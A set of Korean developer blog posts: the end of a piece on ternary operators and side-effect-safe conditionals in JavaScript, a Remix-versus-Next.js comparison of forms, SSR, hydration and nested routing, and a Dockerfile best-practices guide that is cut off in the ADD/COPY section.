그러면 표현식인 3항연산자를 더 선호해야 한다는 것인가? 그렇지 않다. 다른 언어처럼, 자바스크립트도 표현식에서 부수효과로 부터 자유롭지는 않다. 아래 예제를 보자.

```javascript
const result = someCondition ? dropDBTables() : mineDogecoin()
```

표현식인 3항연산자에서도, 부수효과가 일어날 수 있는 여지는 충분히 존재한다.

## 조건문을 쓸 때 가져야할 책임감

그래 3항연산자도 별로고, if-else도 별로면 다른 언어를 써야하는 건가? 여기서 하고 싶은 말은 항상 신중히 행동해야 한다는 것이다.

### 안전한 statements를 선택하자.

statements가 없다면 자바스크립트 코드를 제대로 작성하기 어렵다. 우리는 이 statements에서 벗어날수가 없다. 우리는 이 statements를 안전하게 작성해야 한다.

가장 위험한 경우는 블록이 존재하는 경우다. 여기에는 if, for, while, switch 등이 포함된다. 이 들은 부수효과를 일으키는 것들이기 때문이다. 무언가 블록밖을 벗어나서, 현재의 환경을 변경시킬 수 있다.

이보다 안전한 statements는 변수할당문과 리턴문이다. 변수 할당은 expression의 결과를 레이블에 바인딩 한다. 그리고 변수는 그자체로 expression이다. 우리가 원하는 만큼 많이, 자주 사용할 수 있다. 이 값이 할당 된 이후에 변하는 것을 피한다면 (immutable하게 만든다면) 변수할당문은 안전하다.

반환 문은 함수 호출을 값으로 확인하므로 유용하다. 함수 호출은 하나의 표현식이다. 변수할당과 마찬가지로 return은 표현식을 만드는데 도움이 된다.

이 두가지 전제조건을 바탕으로, 안전한 조건문을 쓸 수 있는지 생각해볼 수 있다.

### 안전한 if 문

안전한 if문을 작성하기 위해서는 다음의 간단한 규칙을 따르면 된다. 첫번째 분기 조건에서 return으로 끝나면 된다. 그렇게 하면, if-staement가 값을 resolve하지 않더라도, 외부 함수는 가능해질 것이다.

```javascript
if (someCondition) {
  return resultOfMyCalculation()
}
```

이 규칙만 따른다면, else 블록을 작성할 필요가 없어진다. 만약 else가 들어간다면, 거기에 부수효과가 들어간다는 것을 의미한다. 물론 작고 별일 하지 않을 수도 있지만, 부수효과가 존재하는 것은 사실이다.

### 읽기 쉬운 3항 연산자

3항 연산자는 항상 작고 간결해야 한다. 만약 그 식이 길어진다면, 수직으로 나누어서 가독성을 높여야 한다. 그럼에도 길어진다면, 변수 할당을 통해서 더욱 간결하게 만들 필요가 있다.

중첩 3항 연산자는 어떤가? 항상 피해야할까? 그렇지 않다. 만약 수직으로 잘 정렬만 해둔다면, 좀 깊이가 되는 3항연산자라 할지라도 가독성을 해치지 않을 수 있다.

{/* prettier-ignore-start */}
```javascript
const xAxisScaleFactor =
    (xRangeInSecs <= 60)       ? 'seconds' :
    (xRangeInSecs <= 3600)     ? 'minutes' :
    (xRangeInSecs <= 86400)    ? 'hours'   :
    (xRangeInSecs <= 2592000)  ? 'days'    :
    (xRangeInSecs <= 31536000) ? 'months'  :
    /* otherwise */              'years';
```
{/* prettier-ignore-end */}

위 코드에 대해서 prettier가 뭐라고 하겠지만, 잠시 이를 꺼둘 수도 있다. 물론 이 과정은 손이 간다. 그러나 3항 연산자와 if문을 좀더 책임감있게 작성하는 것이 가능해진다.

## 미래엔..?

우리가 이렇게 더 신경쓸수는 있지만, 할 수 있는 일은 제한적이다. 하지만 미래에 약간의 변화가 있을 수도 있다. TC39에 있는 [do expression](https://github.com/tc39/proposal-do-expressions) 이 바로 그것이다.

```javascript
let x = do {
  if (foo()) {
    f()
  } else if (bar()) {
    g()
  } else {
    h()
  }
}
```

`do` 블록 안에 많은 statements를 넣었고, 여기에서 하나의 값을 완성해서 리턴했다. jsx에서 아마도 더 유용하게 사용될 수 있다.

```jsx
return (
  <nav>
    <Home />
    {do {
      if (loggedIn) {
        ;<LogoutButton />
      } else {
        ;<LoginButton />
      }
    }}
  </nav>
)
```

아직 이게 언제 도입될지 알수는 없지만 서도, [babel](https://babeljs.io/docs/en/babel-plugin-proposal-do-expressions)을 써서 미리 써볼 수는 있을 것이다.

## 참고

- https://github.com/getify/eslint-plugin-proper-ternary

---

Source: https://yceffort.kr/2022/02/new-react-framework-remix.md
Title: Remix nextjs와 비교하면서 살펴보기
Description: 늘 새로워 짜릿해 새로운게 또 나왔어
Date: 2022-02-13
Tags: react, nextjs, javascript

## Table of Contents

## Introduction

[remix](https://remix.run/)는 새로운 리액트 기반 풀스택 웹 프레임워크다. 뭐 어떤 프레임워크고 어떻게 쓰는지는 remix 홈페이지에 잘 나와 있으므로, nextjs에서의 관점에서 remix는 어떤 웹 프레임워크고 무엇이 좋은지, 또 쓸만은 한지 한번 고민해보려고 한다.

## 클라이언트 - 서버 아키텍쳐

### nextjs

먼저 nextjs가 어떻게 애플리케이션을 구조화 하는지를 살펴보자. 일반적으로 nextjs에서는 클라리언트와 서버간의 통신을 위해서 클라이언트의 javascript에 의존하는 경우가 많다. 아래 예제를 살펴보자.

```jsx
// pages/contact.tsx

export default function ContactPage() {
  // form에 전송할 정보
  const [name, setName] = useState(null)
  const [email, setEmail] = useState(null)
  // form 제출 상태와 관련있는 상태 값
  const [submitting, setSubmitting] = useState(false)
  const [errors, setErrors] = useState(null)
  // 실제 클라이언트에 렌더링되는 form
  return (
    <form onSubmit={handleSubmit}>
      <input type="text" name="name" />
      {errors?.name && <em>Name is required</em>}
      <input type="text" name="email" />
      {errors?.email && <em>Email is required</em>}
      <button type="submit">Contact me</button>
    </form>
  )
  async function handleSubmit(e) {
    // form submit시 페이지로 넘어가지 않기 위해
    e.preventDefault()
    const formData = {name, email}
    // 클라이언트 측 validation
    const errors = validateForm()
    if (errors) {
      setErrors(errors)
    } else {
      setSubmitting(true)
      try {
        // 서버에 post 요청
        const response = await fetch('/api/contact', {
          method: 'POST',
          body: JSON.stringify({
            contact: {
              ...formData,
            },
          }),
        })
        const result = response.json()
        if (result.errors) {
          setErrors(result.errors)
        } else {
          // 홈으로 보내기
          router.push('/')
        }
      } finally {
        setSubmitting(false)
      }
    }
  }
}
```

그리고, nextjs에 `/api/` 동작을 추가할 수 있을 것이다.

```js
// pages/api/contact.js
export default function handler(req, res) {
  const { name, email } = req.body

  const errors = {}
  if (!name) errors.name = true
  if (!email) errors.email = true

  if (Object.keys(errors).length > 0) {
    res.status(400).json(errors)
  } else {
    await createContactRequest({ name, email })

    res.status(200).json({ success: true })
  }
}
```

이러한 방식은 nextjs에서 일반적인 방식으로, 위 코드에서 볼 수 있는 것 처럼 상당한 양의 자바스크립트 코드가 필요하다. (그리고 전체 페이지 번들에 hydration이 일어나지 않는다면 제대로 동작하지 않을 것이다.) 또한 위에 예제 처럼 수동으로 fetch 기반의 form을 만들어서 처리한다면, 비동기 fetch 이슈와 같은 문제도 처리해야 한다.

### remix

remix는 자바스크립트 코드를 훨씬 적게 썼던 php/rails 내부의 서버 템플릿 웹 앱 시절을 생각나게 한다. 아래 예제를 살펴보자.

```jsx
// app/routes/contact.tsx
export const action: ActionFunction = async ({ request }) => {
  const formData = await request.formData()

  const name = formData.get('name')
  const email = formData.get('email')

  const errors = {}
  if (!name) errors.name = true
  if (!email) errors.email = true

  if (Object.keys(errors).length > 0) {
    return errors
  }

  await createContactRequest({ name, email })

  return redirect('/')
}

export default function ContactPage() {
  // ActionFunction을 리턴으로 하는 action 함수가 기본으로 실행됨
  const errors = useActionData()
  return (
    <form method="post">
      <input type="text" name="name" />
      {errors?.name && <em>Name is required</em>}
      <input type="text" name="email" />
      {errors?.email && <em>Email is required</em>}
      <button type="submit">Contact me</button>
    </form>
  )
```

겉으로 보았을 때는 php 스타일로 작성된, post 핸들러를 갖춘 HTML form 일 뿐이다. 자바스크립트에 hydration이 이뤄지지 않더라도 이 코드는 작동한다. `useActionData`는 액션 핸들러에서 반환된 json 데이터를 사용할 수 있도록 한다. 이 액션 아키텍텨는 리액트를 풀스택 프레임워크로 정의하는 방법이다.

remix의 디자인은 기존의 브라우저가 지원하는 클라이언트 - 서버 모델을 본떠서 만들어졌기 때문에, 훨씬 더 적은 코드로 작성되었다.

이러한 방식에 익숙하지 않은 개발자들은, 이러한 핸들러에 일반적인 패턴이 다음과 같이 존재한다는 것을 인지하고 있어야 한다.

- validation이 실패하면, 에러를 서버로 부터 받고 동일한 페이지를 리렌더링 한다.
- validation이 성공하면 대상 페이지로 리다이렉트가 일어난다. 그리고 이 도착 페이지에 toast 메시지를 노출할 수 있다. (remix에는 빌트인 [session](https://remix.run/docs/en/v1/api/remix#using-sessions)이 있는데, 이를 활용하면 된다.)

만약 한 페이지에 여러개의 form이 있다면?

숨겨진 필드를 사용하여 각 form이 무엇을 나타내는지를 구별하거나, submit button에 추가적인 값을 넘겨주면 된다.

만약에 일반적인 REST API를 쓰고 싶다면?

nextjs의 경우에는, api 엔드포인트는 임의의 페이지와 클라이언트를 서비스할 수 있는 일반적인 REST api의 일부였다. 이에 반해 remix는 `loader` 함수를 정의하여 (뒤에서 설명) 임의의 데이터를 반환하는 라우트인 리소스 라우트를 정의할 수 있다. nextjs와 다르게, `/pages/api`에 위치할 필요는 없다.

만약 클라이언트 측에서 인터랙션이 있는 form validation을 사용하고 싶다면?

`Form`과 함께 `useTransition`을 사용하면 된다. (리액트의 `useTransition`과 다름 주의)

```jsx
// app/routes/contact.tsx

export const action: ActionFunction = async ({ request }) => {
  /*...*/
}

export default function ContactPage() {
  // 서버의 에러를 JSON 형태로 받을 수 있음. 이 경우에는 페이지를 리로드 하지 않고도 form을 리렌더링 할 수 있음
  const errors = useActionData()
  // form 성공시
  const { submission } = useTransition()
  return submission ? (
    <Confirmation contact={Object.fromEntries(submission.formData)} />
  ) : (
    <Form method="post">...</Form>
  )
}
```

서버사이드에서는 여전히 validation을 수행하지만, 이제 빠르게 클라이언트에서 피드백을 반영할 수 있다. 클라이언트 측에서 validation을 하고 싶을 경우, 추가적으로 로직을 추가하여 클라이언트에서 validation을 실행할 수 있다.

다만 이 경우 클라이언트가 JSON 데이터 fetch를 수행하거나, 자바스크립트를 아직 사용할 수 없는 경우 전체 html 응답을 요청하여 서버와 통신할 수 있다는 점이다.

## 항상 SSR

remix는 항상 서버사이드 렌더링이 일어나며, 특정 페이지가 정적으로 생성되는 것을 표시하는 개념을 지원하지 않는다. 그렇다고 정적 사이트를 만들 수 없다는 것은 아니다.

기본적인 측면에서, 서버 사이드 데이터 fetch 및 렌더링 속도가 충분하게 빠를 경우, edge server에 배치하여 정적 사이트 수준의 성능을 달성할 수 있다. (자세한 방법은 하단 예시를 참조)

그러나 이 방법은 언제나 가능한 것은 아니고, 페이지가 본질적으로 느린 백엔드 서비스에 의존할 수 있다. 이 경우 http 캐시를 활용할 수 있다. CDN을 서비스 인프라 최상단에 두고, 올바른 `Cache-Control` 헤더를 사용하면 CDN이 지연 시간을 최소화 하면서 변경되지 않은 콘텐츠를 저장하고 제공할 수 있다.

이를 통해 정적 사이트 빌드를 수행하는 대신, 변경 사항을 즉시 재구현 할 수 있다는 이점이 있다.

```jsx
// app/routes/some-page.tsx

export function headers() {
  return {
    'Cache-Control':
      'public, max-age=300, s-maxage=3600, stale-while-revalidate=300',
  }
}

export default function SomePage() {
  return <div>...</div>
}
```

이는 트레이드 오프가 있다. 직접적으로 프레임워크 수준에서 제어되는 invalidation을 포기하는 대신, CDN에 있는 전용 cache flushing 로직에 의존해야 한다. 사용자의 브라우저에서 캐시를 무효화하는 것 또 고려해야 하므로, 캐시 만료에 너무 지나치게 적극적으로 대응하지 않는 것이 좋다.

## hydration

Nextjs에서 달성하고자 하는 기능 중 하나는 부분적인 hydration이다. 특히 정적인 컨텐츠의 경우, 리액트 SSR/SSG 프레임워크는 필요한 자바스크립트 번들 보다 훨씬 더 많이 전달되고 hydration 되므로, 페이지 로드 성능에 큰 영향을 미칠 수 있다.

Remix는 개발자에게 언제 hydration이 일어날 수 있는지 결정할 수 있게 해준다. 하지만 현재는 페이지 단위로만 제공되고 있다. 이 방법은 조건부로 `Document` 내부의 `<Scripts/>`를 렌더링 하지 않는 것이다.

https://remix.run/docs/en/v1/guides/disabling-javascript

```jsx
// app/entry.server.tsx

import React from 'react'
import {Meta, Links, Scripts, Outlet, useMatches} from 'remix'

export default function App() {
  let matches = useMatches()

  // 아래 코드 참조
  let includeScripts = matches.some((match) => match.handle?.hydrate)

  // includeScripts 상태 값으로 제어 가능
  return (
    <html lang="en">
      <head>
        <meta charSet="utf-8" />
        <Meta />
        <Links />
      </head>
      <body>
        <Outlet />
        {/* 스크립트 제어! */}
        {includeScripts && <Scripts />}
      </body>
    </html>
  )
}
```

```jsx
// app/routes/some-page.tsx

export let handle = {hydrate: true}

export default function SomePage() {
  return <div>...</div>
}
```

Remix 개발자가 현재 부분적인 hydration을 할 수 있는 방안에 대해서 아주 깊게 연구 하고 있다고 하니 기대해봄직하다.

## 스타일

스타일을 적용하기 위해서는, header에 링크를 추가하면 된다. 이는 HTML 에 스타일 시트를 추가하는 것과 매우 유사하다. remix에 이러한 스타일 정보를 미리 제공하면, 모든 CSS를 캐시 가능한 스타일 시트 URL과 함께 병렬로 로딩할 수 있으므로, `prefetch`와 함께 사용한다면 최적의 페이지 로드 성능을 얻을 수 있다.

> 이와 관련되서 스타일 순서가 보장되지 않는 nextjs의 오랜 버그가 있다. https://github.com/vercel/next.js/issues/16630

```jsx
// app/routes/some-page.tsx

import styles from '~/styles/global.css'
// styles is now something like /build/global-AE33KB2.css

export function links() {
  return [
    {
      rel: 'stylesheet',
      href: 'https://unpkg.com/modern-css-reset@1.4.0/dist/reset.min.css',
    },
    {
      rel: 'stylesheet',
      href: styles,
    },
  ]
}

export default function SomePage() {
  return <div>...</div>
}
```

https://remix.run/docs/en/v1/guides/styling

위 가이드를 보면 알겠지만, scss, css, css-in-js를 사용해도 `links`를 통해서 스타일을 노출 시키는 것은 필수사항이다.

## 파일 기반 라우팅

remix는 nextjs를 사용하는 사람에게 매우 친숙한 파일 기반 라우팅을 사용한다. 그러나 nextjs 와 다르게 경로를 계층으로 구성할 수 있는 React Router 스타일의 중첩을 지원한다.

예를 들어, 아래와 같은 라우팅이 있다고 가정해보자.

- `/dashboard`
- `/dashboard/settings`
- `/dashboard/reports`

```jsx
// app/routes/dashboard.tsx

export default function DashboardLayout() {
  return (
    <div>
      <Header />
      {/* 내부 중첩 라우팅에 필요한 컨텐츠가 들어간다. */}
      <Outlet />
      <Footer />
    </div>
  )
}
```

```jsx
// app/routes/dashboard/settings.tsx
export default function Settings() {
  // ...
}
```

```jsx
// app/routes/dashboard/reports.tsx
export default function Reports() {
  // ...
}
```

```jsx
// app/routes/dashboard/index.tsx
export default function DashboardMain() {
  // ...
}
```

nextjs와 마찬가지로 remix는 isomorphic routing을 지원하므로 js에 hydration이 발생한다면 클라이언트에서 전환이 빠르게 일어난다.

## 경로 위치에 있는 데이터 가져오기

nextjs에서는 페이지 내부의 `getStaticProps` 또는 `getServerSideProps`에서 데이터를 가져올 수 있다. remix에서는 nextjs와 같은 방식으로 페이지 라우팅에 필요한 `loader` 함수를 사용할 수 있다. 마찬가지로, SSR 응답에 JSON으로 이 데이터를 직렬화한다.

```jsx
// app/routes/mypage.tsx

// 데이터를 가져온다. 이는 서버에서 수행된다.
export async function loader() {
  return fetch(/*...*/)
}

export default function MyPage() {
  const data = useLoaderData()
  return <div />
}
```

그러나 remix의 `loader`가 다른 점은 페이지 레벨 뿐만 아니라 중첩 라우팅에서도 사용이 가능하다는 것이다.

이것의 이점은, 데이터를 배치하는 것이 용이 해진다는 것이다. 예를 들어 `/dashboard`라는 루트 라우팅이 있을 경우, 하위 라우팅에 공통 페이지 레이아웃을 렌더링 할 수 있다는 것이다.

```jsx
export async function loader() {
  return getCurrentUser()
}

export default function DashboardLayout() {
  const currentUser = useLoaderData()
  return (
    <div>
      <Header>
        <UserAvatar user={currentUser} />
      </Header>
      {/* 하위 렌더링 페이지가 여기에 배치된다. */}
      <Outlet />
      <Footer />
    </div>
  )
}
```

그리고 `/dashboard/settings` 에 또다른 `loader`가 있다고 가정해보자. 루트는 이에 대해 관심이 없으며, 마찬가지로 다른 페이지에서도 이에 대해 가지고 있을 필요가 없다. nextjs에서는 `getServerSideProps`의 일부를 분산하여 이를 수동으로 구현할 수 있지만, remix는 좀더 자연스러운 지원을 제공한다.

```jsx
// parent route
import {Outlet} from 'remix-utils'

export default function Parent() {
  return <Outlet data={{something: 'here'}} />
}
```

```jsx
// child route
import {useParentData} from 'remix-utils'

export default function Child() {
  const data = useParentData()
  return <div>{data.something}</div>
}
```

이러한 분산된 fetch 설계는 스타일 시트의 링크와 마찬가지로, remix가 전체 트리의 데이터 의존성을 미리 알고 있기 때문에 별렬로 실행할 수 있다는 장점이 있다.

## 배포

remix는 vercel, cloudflare worker, deno deploy, fly.io와 같은 다양한 배포 환경을 지원한다. 각 배포에는 프로젝트 별로 약간 다른 구성 및 패키지가 필요할 수 있겠지만, 노드 환경과 비노드 환경 (cloudflare)에서 모두 실행 가능하다.

특정 배포 대상에 따른 remix 설정은 `create-remix`를 사용할 때 자동으로 구성되지만, 기본 설정에서 다른 설정으로 옮겨갈 경우에는 약간의 수정을 추가하면 된다.

## 기타

- remix 내부에는 세션과 쿠키를 처리할 수 있는 함수가 내장되어 있으며, 이는 클라이언트 서버 아키텍쳐에서 중요하다.
- `app/routes/reports/$report.tsx` 형태의 동적 라우팅을 지원한다. nextjs는 `[param]`, remix는 `$param`이다.

  ```jsx
  export default function Report() {
    // ...
    return <div>...</div>
  }
  ```

- nextjs 에 글로벌 `App` `Document` Wrapper가 있다면, remix에는 `entry.server.tsx`가 있다. 또한 `entry.client.tsx`를 사용하여 hydration과정에서 정확히 어떤일이 일어나는지 확인할 수 있다.
- nextjs에 있지만 remix에 없는 것은
  - 이미지 최적화 컴포넌트 `next/image`
  - 구글 폰트와 Typekit를 위한 자동 폰트 CSS 인라이닝
  - 스크립트 스케쥴링 및 우선순위 지정과 같은 세부적인 제어

## 느낀점

- react-router-dom 스타일의 중첩 routing 지원, 그리고 부모 데이터를 불러올 수 있는 기능이 인상적이다. nextjs는 페이지별로 다 찢어져있어서 특정 페이지들을 위한 context 구현이 opt-out 하지 않는 이상 불가능 했는데 이점은 굉장히 맘에 든다.
- static한 페이지가 많은 애플리케이션은 여전히 nextjs가 더 좋은 방식을 제공하고 있는 것 같다. CDN과 cache를 사용하는 것은 물론 기존에 있는 접근이지만 서도, nextjs가 더 편리한 방식으로 구현했다고 본다.
- 기본적으로 ssr이라는 점은 좋은 것 같다. 프론트엔드 개발자들이 static 파일을 upload하고 서빙하는 시대는 지났다. 이제 node 서버, 더 나아가 배포와 devOps에 대해서도 고민해야할 때가 왔다. (사실 진작에 왔다)
- 위와 마찬가지로, SPA의 패러다임은 이제 조금씩 쇠퇴하고 있는 느낌이다. 기기의 성능이 갈수록 좋아지는 시대일 수록 SPA가 빛을 발한다는 이야기를 들었던 것 같은데 이제 틀린게 아닌가 싶다. 성능을 사용자의 기기에 의존해서는 안된다.
- javascript가 실행되지 않는 환경을 고민하는 것 또한 인상적이다. 성능 측면에서 우리가 항상 고민해봐야할 문제다.
- 다음 토이 프로젝트는 remix다.

---

Source: https://yceffort.kr/2022/02/dockerfile-instructions.md
Title: Dockerfile 작성 가이드
Description: 갑자기 docker를 파는 이유는 22
Date: 2022-02-07
Tags: docker

[여기](/2022/02/docker-best-practice-2022) 에서 이어집니다.

하단 권장사항은 효율적이고 유지관리가 용이한 `Dockerfile`을 만드는데 도움이 되도록 제공되었다.

## Table of Contents

## `FROM`

[https://docs.docker.com/engine/reference/builder/#from](https://docs.docker.com/engine/reference/builder/#from)

가능하면, 현재 제공되고 있는 공식 이미지를 사용하는 것이 좋다. 알파인 이미지는 리눅스 배포 판 중에서 크키가 매우작고 (6mb) 엄격하게 관리되고 있기 때문에 사용을 추천한다.

## `LABEL`

[https://docs.docker.com/config/labels-custom-metadata/](https://docs.docker.com/config/labels-custom-metadata/)

이미지에 레이블을 추가하여 프로젝트별 이미지 구성, 라이센스 정보 기록, 자동화 정보 등 기타 여러가지 정보를 기록할 수 있다. 각 레이블은 `LABEL`로 시작하고, 하나 이상의 키-값 쌍으로 추가하면 된다.

공백이 있는 문자열은 따옴표로 묶거나 공백을 이스케이프 해야 한다. (`''` 도 마찬가지다.)

```Dockerfile
# Set one or more individual labels
LABEL com.example.version="0.0.1-beta"
LABEL vendor1="ACME Incorporated"
LABEL vendor2=ZENITH\ Incorporated
LABEL com.example.release-date="2015-02-12"
LABEL com.example.version.is-production=""
```

모든 이미지는 레이블을 하나 이상 가지고 있을 수 있다. Docker 1.10 이전 버전에서는, 추가적인 레이어가 생성되지 않도록 여러 레이블을 하나의 `LABEL`로 묶는 것이 권장되었다. 이제 더이상 필요하진 않지만 여전히 여러개를 결합하는 방식은 가능하다.

```Dockerfile
# Set multiple labels on one line
LABEL com.example.version="0.0.1-beta" com.example.release-date="2015-02-12"
```

```Dockerfile
# Set multiple labels at once, using line-continuation characters to break long lines
LABEL vendor=ACME\ Incorporated \
      com.example.is-beta= \
      com.example.is-production="" \
      com.example.version="0.0.1-beta" \
      com.example.release-date="2015-02-12"
```

- [https://docs.docker.com/config/labels-custom-metadata/](https://docs.docker.com/config/labels-custom-metadata/)
- [https://docs.docker.com/engine/reference/builder/#label](https://docs.docker.com/engine/reference/builder/#label)

## `RUN`

[https://docs.docker.com/engine/reference/builder/#run](https://docs.docker.com/engine/reference/builder/#run)

길거나 복잡한 `RUN` 구문은 백슬래시를 활용하여 여러줄로 분할하는 것이 `Dockerfile` 관리에 좋다.

### `apt-get`

`RUN`에서 아마 가장 자주 사용되는 명령어는 `apt-get`일 것이다. `RUN apt-get`은 패키지를 설치하는 명령어이기 때문에 몇가지를 고려 해야 한다.

`RUN apt-get update` 와 `apt-get install`은 항상 같은 `RUN`구문 안에 있어야 한다.

```Dockerfile
RUN apt-get update && apt-get install -y \
    package-bar \
    package-baz \
    package-foo  \
    && rm -rf /var/lib/apt/lists/*
```

`apt-get update`를 `RUN`구문에서 단독으로 쓰면 캐시 문제가 있을 수 있고, 이어지는 `apt-get install`가 실패할 가능성도 있다. 예를 들면

```Dockerfile
# syntax=docker/dockerfile:1
FROM ubuntu:18.04
RUN apt-get update
RUN apt-get install -y curl
```

이미지가 빌드된 이후에, 모든 레이어가 도커 캐시안에 들어가게 된다. `apt-get install` 뒤에 구문을 추가했다고 가정해보자.

```Dockerfile
# syntax=docker/dockerfile:1
FROM ubuntu:18.04
RUN apt-get update
RUN apt-get install -y curl nginx
```

도커는 이전 명령어와 수정된 명령어가 동일 할 때에만 이전단계의 캐시를 사용한다. 따라서 빌드가 캐신된 버전을 사용하기 때문에 `apt-get update`가 실행되지 않는다. 그러므로 이 빌드는 잠재적으로 오래된 버전의 `curl`과 `nginx` 패키지를 얻게되는 결과를 초래할 수 있다.

`RUN apt-get update && apt-get install -y` 를 수행하면, 도커파일이 더이상의 코딩이나 수동작업 없이 최신 패키지 버전을 설치할 수 있다. 이 기술을 `cache busting`이라고 한다. 패키지 버전을 지정하여 이 캐시버스팅을 수행할 수도 있다.

```Dockerfile
RUN apt-get update && apt-get install -y \
    package-bar \
    package-baz \
    package-foo=1.3.*
```

버전을 이런식으로 고정하면 캐시에 무엇이 있든 상관없이 특정 버전을 검색하도록 강제할 수 있다. 또한 이 기술을 사용하면 예기치 않은 필수 패키지의 버저닝으로 인한 장애를 줄일 수 있다.

아래는 모든 적절한 권장사항을 잘 수행한 예시다.

```Dockerfile
RUN apt-get update && apt-get install -y \
    aufs-tools \
    automake \
    build-essential \
    curl \
    dpkg-sig \
    libcap-dev \
    libsqlite3-dev \
    mercurial \
    reprepro \
    ruby1.9.1 \
    ruby1.9.1-dev \
    s3cmd=1.1.* \
 && rm -rf /var/lib/apt/lists/*
```

`s3cmd`는 `1.1.*` 버전을 사용하도록 했다. 이미지가 만약 이전 버전을 사용하고, 새로운 버전을 지정하면 `apt-get update`에 캐시 버스팅을 발생시키고 새로운 버전을 설치한다. 각 라인에 패키지를 나열하면 패키지가 중복되는 오류도 방지할 수 있다.

또한 `/var/lib/apt/lists`를 제거하여 캐시를 적절히 정리하면 캐시가 레이어에 저장되지 않기 때문에 이미지 용량을 줄일 수 있다. `RUN` 구문은 `apt-get update`와 함께 시작하므로, 패키지 캐시는 항상 `apt-get install` 전에 정리될 것이다.

> Debian Ubuntu에서는 자동으로 `apt-get clean`을 수행해주므로 이럴 필요가 없다.

### `Pipe`

몇 몇 `RUN` 커맨드는 `|`에 의존하여 동작할 수 있다. 예를 들어

```Dockerfile
RUN wget -O - https://some.site | wc -l > /number
```

도커는 `/bin/sh -c` 커맨드를 사용하여, 이러한 명령어를 실행한다. 이 명령어는 마지막 작업의 종료코드만 확인하여 성공 실패 여부를 결정한다. 위의 예제에서 살펴보면, 이 빌드 단계는 `wget` 명령어가 실패하더라도, `wc -l` 명령어가 성공하면 새로운 이미지를 만들어 낼 것이다.

파이프의 어느 단계에서든 오류로 인해 명령이 실패하도록 하려면, `set -o pipefail &&`를 앞에 추가하면 된다.

```Dockerfile
RUN set -o pipefail && wget -O - https://some.site | wc -l > /number
```

> 모든 쉘이 `-o pipefail`을 제공하는 것은 아니므로, 아래와 같이 별도로 나눠서 실행해야 할 수도 있다.

```Dockerfile
RUN ["/bin/bash", "-c", "set -o pipefail && wget -O - https://some.site | wc -l > /number"]
```

## `CMD`

[https://docs.docker.com/engine/reference/builder/#cmd](https://docs.docker.com/engine/reference/builder/#cmd)

`CMD` 는 나열되어 있는 인수와 함께, 이미지에 포함되어 있는 소프트웨어를 실행하는데 사용된다. CMD는 거의 대부분 항상 `["실행 파일", "param1", "param2"...]` 와 같은 형태로 사용되어야 한다.

대부분의 경우, `CMD`는 bash, paython, perl과 같은 대화형 셸이 필요하다. 예를들어 `CMD ["perl", "-de0"]`, CMD `["python"]`, or CMD `["php", "-a"]` 등이 있다. 이러한 형태를 사용하면, `docker run -it python`고과 같은 것을 실행하면 바로 셸로 진입할 수 있다.

## `EXPOSE`

[https://docs.docker.com/engine/reference/builder/#expose](https://docs.docker.com/engine/reference/builder/#expose)

`EXPOSE`는 컨테이너가 연결을 받는 포트를 나타낸다. 따라서 애플리케이션에서 공통으로 사용되는 기존 포트를 사용해야 한다. (아파치 `EXPOSE 80`, 몽고 디비 `EXPOSE 27017`과 같이)

외부에서 접근을 위해 `docker run`에 플래그를 사용하여 이 포트가 어떤 포트에 연결될지 지정할 수 있다.

## `ENV`

[https://docs.docker.com/engine/reference/builder/#env](https://docs.docker.com/engine/reference/builder/#env)

`ENV`를 사용하여 컨테이너가 설치하는 소프트웨어의 PATH 환경변수를 업데이트 할 수 있다. 예를 들어, `ENV PATH=/usr/local/nginx/bin:$PATH`는 `CMD ["nginx"]` 명령어가 실행될 수 있도록 해준다.

또한 Postgres의 `PGDATA`와 같이 컨테이너에 포함하려는 서비스와 관련된 필수 환경변수를 제공하는데 유용하다.

마지막으로, `ENV`는 일반적으로 사용되는 버전 번호를 설정하기 위해 사용할 수도 있다.

```Dockerfile
ENV PG_MAJOR=9.3
ENV PG_VERSION=9.3.4
RUN curl -SL https://example.com/postgres-$PG_VERSION.tar.xz | tar -xJC /usr/src/postgres && …
ENV PATH=/usr/local/postgres-$PG_MAJOR/bin:$PATH
```

프로그램에 상수값이 있는 것과 비슷하게, `ENV`를 사용하면 자동적으로 컨테이너 내부의 소프트웨어 버전을 지정하는 것도 가능하다.

각 `ENV` 라인은 `RUN`과 동일하게 새로운 중간 레이어를 생성한다. 즉, 이후 레이어에서 환경변수를 설정해제하더라도, 이 레이어에서 계속 유지되며 해당 값이 덤프될 수 있다.

```Dockerfile
# syntax=docker/dockerfile:1
FROM alpine
ENV ADMIN_USER="mark"
RUN echo $ADMIN_USER > ./mark
RUN unset ADMIN_USER
```

```shell
$ docker run --rm test sh -c 'echo $ADMIN_USER'

mark
```

이러한 사태를 방지하고, 환경 변수를 실제로 해지 하기 위해서는 `RUN`을 사용하여 변수를 단일 레이어에서 설정, 사용, 해제를 하면 된다. 이 명령어는 `;` `&&`을 사용하여 구분할 수 있다. 후자를 사용한다면, 명령이 실패한다면 도커 빌드도 실패한다.

```Dockerfile
# syntax=docker/dockerfile:1
FROM alpine
RUN export ADMIN_USER="mark" \
    && echo $ADMIN_USER > ./mark \
    && unset ADMIN_USER
CMD sh
```

## `ADD` or `COPY`

- [https://docs.docker.com/engine/reference/builder/#add](https://docs.docker.com/engine/reference/builder/#add)
- [https://docs.docker.com/engine/reference/builder/#copy](https://docs.docker.com/engine/reference/builder/#copy)

`ADD` `COPY` 두 명령어가 기능적으로 거의 유사하지만, `COPY`가 일반적으로 더 사용된다. 그 이유는 `ADD` 보다 더 순수하기 때문이다. `COPY`는 단순히 컨테이너에 있는 로컬 파일을 복사할 뿐이다. 반면 `ADD`는 몇가지 추가적이 있다. (로컬 전용 tar 파일 해제, 원격 URL 지원 등) 따라서 `ADD`는 `ADD rootfs.tar.xz /` 와 같은 상황에서 사용하는 것이 좋다.

컨텍스트에서 다른 파일을 사용하는 여러 단계가 `Dockerfile` 내부에 있을 경우, 한번에 하지말고 개별적으로 복사하는 것이 좋다. 이렇게 하면 각 단계의 빌드 캐시는 필요한 파일이 변경되었을 경우에만 무효화 (재실행)된다.

예를 들어

```Dockerfile
COPY requirements.txt /tmp/
RUN pip install --requirement /tmp/requirements.txt
COPY . /tmp/
```

`COPY . /tmp/` 를 앞에 두는 경우보다 캐시 무효화가 더 줄어든다.

이미지 크기는 중요한 문제이므로, 원격 URL에서 패키지를 가져올때는 `ADD`를 사용하는 것은 권장되지 않는다. 대신 `curl` `wget`을 사용해야 한다. 이렇게 하면 파일 압축을 해제한 후 더이상 필요 없는 파일을 삭제할 수 있으며, 이미지에 다른 레이어를 추가할 필요가 없다. 예를 들어, 아래와 같은 경우는 피해야 한다.

```Dockerfile
ADD https://example.com/big.tar.xz /usr/src/things/
